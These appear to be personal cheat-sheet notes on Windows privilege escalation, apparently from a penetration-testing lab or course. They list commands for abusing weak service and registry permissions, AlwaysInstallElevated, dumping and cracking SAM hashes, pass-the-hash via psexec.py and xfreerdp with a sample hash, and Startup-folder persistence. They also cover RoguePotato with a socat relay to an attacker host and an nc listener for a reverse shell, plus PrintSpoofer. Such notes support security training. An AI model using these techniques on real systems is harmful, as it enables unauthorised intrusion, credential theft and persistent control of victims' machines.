3. Weak Registry Permissions
NT AUTHORITY\INTERACTIVE = All logged-in users
REG_EXPAND_SZ : An expandable data string.
REG_SZ : This data type has a fixed length.
sc qc <service>
accesschk.exe <path-to-service.exe>
# output - RW Everyone
# Replace the service executable with reverse shell generated
5. Registry Autoruns
[Todo]
6. Registry AlwaysInstallElevated
set the AlwaysInstallElevated value to "1" (0x1) under both of the following registry keys:
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer
8. Retrieve password from SAM SYSTEM registry hives
- SAM registry is not accessible
reg query HKLM\SAM\SAM
ERROR: Access is denied.
python3 creddump7/pwdump.py SYSTEM SAM
# Crack NTLM hash
9. If creds are saved from a previous user [run exe from a folder which belongs to the admin/higher privilege user]
# list saved creds
cmdkey /list
# run an executable with priv's on another user
runas /savecred /user:<> <path-to-exec>
10. Pass the Hash (pth)
# pth using impacket via SMB [pth-winexe works on SMB]
psexec.py admin@10.10.92.1 -hashes aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da
# xfreerdp with pth (pass-the-hash) [NT component only in LM:NT if no password for LM]
xfreerdp +clipboard /u:admin /pth:a9fdfa038c4b75ebc76dc855dd74f0da /cert:ignore /v:10.10.92.1
11. Task running every few intervals
Append “path-to-exec” at the end of PowerShell script
12. Insecure GUI Apps
file > open > navigation pane > C:\Windows\System32\cmd.exe
13. Startup Apps [createshortcut.vbs]
Adding shortcut to reverse executable in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
14. RoguePotato Attack
• You need a compromised account on the victim machine with Impersonate privileges
s0- whomai /priv [SeImpersonatePrivilege is Enabled]
s1- sudo socat TCP-LISTEN:135,reuseaddr,fork TCP:<IP of target>:9999
s2- nc -nlvp <port-used-in-reverse-exec>
s3 - when running as “nt authority\local service”
RoguePotato.exe -r <IP of attacker> -e "<path-to-exec>" -l 9999
- run as a local service "nt authority\local service"
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" "C:\Windows\System32\cmd.exe"
-or-
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
15. PrintSpoofer
PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
- Tools
winpeasany.exe
seatbelt.exe all full
sharp.exe audit
JAWS [works in the presence of AV solutions]